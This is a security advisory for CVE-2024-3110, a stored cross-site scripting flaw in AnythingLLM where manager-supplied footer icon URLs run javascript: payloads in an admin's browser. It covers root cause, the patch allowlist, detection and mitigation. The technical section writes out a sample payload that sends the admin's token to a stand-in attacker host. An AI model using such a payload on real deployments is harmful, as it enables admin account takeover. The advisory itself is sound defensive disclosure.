CVE-2024-3110: Mintplexlabs AnythingLLM XSS Vulnerability

CVE-2024-3110 Overview

CVE-2024-3110 is a stored Cross-Site Scripting (XSS) vulnerability in the mintplex-labs/anything-llm application, affecting all versions prior to 1.0.0. The application fails to sanitize user-supplied URLs before rendering them as external links with custom footer icons. A user with the manager role can inject javascript: protocol payloads that execute in another user's browser session. Attackers leverage this flaw to steal an administrator's authorization token and take over the admin account. The vulnerability is classified as [CWE-79] Improper Neutralization of Input During Web Page Generation.

Critical Impact
A manager-level user can escalate to full admin privileges by exfiltrating the admin's session token through a malicious footer icon link.

Affected Products

mintplex-labs anything-llm versions prior to 1.0.0
Deployments exposing the footer icon customization feature to non-admin manager accounts
Self-hosted anything-llm instances with multiple privileged users

Discovery Timeline

2024-06-06 - CVE-2024-3110 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2024-3110

Vulnerability Analysis

The anything-llm application allows users with the manager role to configure custom footer icons that render as clickable links in the UI. The application stores the supplied URL and later embeds it directly into an anchor element's href attribute without protocol validation. Because the browser honors javascript: URIs in href attributes, an attacker-supplied payload executes in the DOM context of any user who opens the link.

A manager-role attacker crafts a URL such as javascript:fetch('https://attacker.tld/?t='+localStorage.getItem('token')). When an admin opens the footer icon in a new tab via CTRL+click or middle-click, the script runs with the admin's session. The payload exfiltrates the authorization token to an attacker-controlled server. The attacker then replays the token to invoke admin API endpoints, create new admin accounts, or fully hijack the admin session.

Root Cause

The root cause is missing URL protocol validation in the settings persistence layer. Prior to the patch, server/models/systemSettings.js accepted any string as a footer icon URL. No allowlist restricted the URL scheme to http: or https:, permitting dangerous schemes including javascript:, data:, and vbscript:.

Attack Vector

Exploitation requires an authenticated manager account and a single click by a higher-privileged user. The attack chain is: (1) manager saves a malicious footer icon URL, (2) admin views any page containing the footer, (3) admin opens the link in a new tab, (4) the script executes and exfiltrates the token, (5) the attacker replays the token to escalate to admin.

javascript

// Patch: server/utils/http/index.js — protocol allowlist added
function isValidUrl(urlString = "") {
  try {
    const url = new URL(urlString);
    if (!["http:", "https:"].includes(url.protocol)) return false;
    return true;
  } catch (e) {}
  return false;
}

module.exports = {
  reqBody,
  multiUserMode,
  // ...
};

Source: mintplex-labs/anything-llm commit 49f30e0

Detection Methods for CVE-2024-3110

Indicators of Compromise

Footer icon or system settings records containing URLs beginning with javascript:, data:, or vbscript:
Outbound HTTP requests from admin browser sessions to unfamiliar domains immediately after navigating anything-llm UI
Unexpected admin account creation or role changes shortly after a manager account modified system settings
Audit log entries showing manager-role writes to system settings followed by admin API calls from new IP addresses

Detection Strategies

Query the anything-llm database for system_settings rows where stored URLs do not begin with http:// or https://
Inspect application logs for manager-role edits to footer icon configuration and correlate with subsequent admin authentication events
Deploy Content Security Policy monitoring to flag inline script execution originating from anchor href attributes
Review reverse proxy logs for admin-authenticated requests originating from unexpected geolocations following manager configuration changes

Monitoring Recommendations

Enable audit logging on all system settings mutations and alert on non-admin role changes
Monitor for admin session tokens used from multiple IP addresses within short time windows
Alert on any DOM-based navigation to javascript: URIs via browser security telemetry where available
Track privilege escalation events, particularly promotions to admin performed outside expected change windows

How to Mitigate CVE-2024-3110

Immediate Actions Required

Upgrade mintplex-labs/anything-llm to version 1.0.0 or later, which includes commit 49f30e0 with the URL protocol allowlist
Audit all existing footer icon URLs and system settings for non-HTTP(S) schemes and remove any malicious entries
Rotate all admin authorization tokens and force re-authentication for privileged accounts
Review the list of users assigned the manager role and remove any that are no longer required

Patch Information

The fix is available in the upstream commit 49f30e051c9f6e28977d57d0e5f49c1294094e41. The patch introduces the isValidUrl helper in server/utils/http/index.js and enforces it against footer icon URLs in server/models/systemSettings.js. Only URLs with http: or https: protocols are accepted. Additional context is available in the Huntr bounty report.

Workarounds

Restrict the manager role to fully trusted operators until the patch is deployed
Disable or remove custom footer icon configuration via database-level constraints if the setting is not required
Place the anything-llm instance behind a reverse proxy that enforces a strict Content Security Policy blocking inline script execution
Instruct admin users to avoid CTRL+click and middle-click on footer icons on unpatched deployments

bash

# Verify installed version and pull the patched release
cd anything-llm
git fetch --tags
git checkout v1.0.0
docker compose pull && docker compose up -d

# Audit stored URLs for dangerous schemes
sqlite3 server/storage/anythingllm.db \
  "SELECT label, value FROM system_settings WHERE value LIKE 'javascript:%' OR value LIKE 'data:%';"